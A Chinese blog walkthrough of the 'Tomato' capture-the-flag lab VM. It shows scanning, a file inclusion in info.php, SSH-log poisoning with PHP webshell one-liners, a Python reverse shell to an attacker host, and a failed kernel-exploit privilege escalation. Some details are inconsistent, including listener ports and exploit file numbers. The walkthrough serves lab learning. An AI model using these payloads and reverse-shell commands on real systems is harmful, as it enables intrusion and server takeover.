Tomato靶机

修改网络模式为NAT

主机发现

arp-scan -l

端口扫描

nmap 192.168.48.147

nmap -sC -sV -O 192.168.48.147
-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

端口利用

访问web服务

目录扫描

dirb http://192.168.48.147

访问

http://192.168.48.147/antibot_image/

查看info.php的页面源码

发现存在文件包含漏洞

利用文件包含漏洞

http://192.168.48.147/antibot_image/antibots/info.php?image=/etc/passwd

扫描全部端口

nmap -A 192.168.48.147 -p-

扫描出来2211端口,是ssh的连接端口

方法1:报错链接2211

ssh '<?php @eval($_POST["1"]);?>'@192.168.48.147 -p 2211

代码分析

这段代码是一个 SSH 命令。

它的目的是尝试通过 SSH 连接到 IP 地址为 192.168.47.140 的主机,端口号为 2211 ,并传递了一段 PHP 代码 <?php @eval($_POST["1"]);?> 。

然而,这段 PHP 代码存在严重的安全问题。@eval($_POST["1"]); 会无条件地执行通过 $_POST["1"] 传入的任何代码。这意味着如果攻击者能够控制传入 $_POST["1"] 的内容,他们就可以在服务器上执行任意恶意代码,从而导致服务器被入侵、数据泄露、服务被破坏等严重后果。

然后在网页端查看ubuntu报错信息:/var/log/auth.log

/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

该目录下发现多了一些报错信息,大概率写入木马成功,

使用蚁剑连接

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log

查看完整网站目录

打开虚拟终端

方法二:使用python3反弹shell

ssh '<?php echo system($_GET["1"]);?>'@192.168.48.147 -p 2211

代码分析

这段代码看起来是一个 SSH(Secure Shell)命令的尝试。然而,其中包含的 PHP 代码部分是存在严重安全风险的。

在 PHP 代码 <?php echo system($_GET["1"]);?> 中,它直接获取了通过 $_GET 传递的参数 1 并使用 system 函数来执行。这意味着任何人都可以通过在 URL 中提供特定的参数值来执行任意系统命令,这可能导致服务器被入侵、数据泄露、系统被破坏等严重后果。

例如,如果攻击者在 URL 中提供 rm -rf / 作为 1 的参数值,那么服务器上的根目录可能会被删除,造成无法挽回的损失。

下面命令执行成功,说明一句话木马写入成功

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&1=id

打开监听端口

nc -lnvp 6666

使用python3进行反弹shell,在浏览器中输入

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.48.131%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
import socket, subprocess, os

# 创建一个TCP/IP socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到指定IP和端口
s.connect(("192.168.48.131", 4444))

# 重新映射标准输入输出和错误到这个socket
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr

# 使用subprocess调用/bin/sh启动一个交互式shell
p = subprocess.call(["/bin/sh", "-i"])

kali监听到操作,成功获得靶机shell

生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权(我提权失败,因为版本不匹配,不过可以一试)

查看系统内核版本:uname -a

在kali中查找该系统内核的提权包

searchsploit ubuntu 4.4.0-21

下载44298.c

searchsploit -p 43234.c

编译文件

gcc 45010.c -o exp

到tmp目录下下载提权POC

执行文件:./exp

执行失败尝试更新

ldd --version

版本不匹配提权失败

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值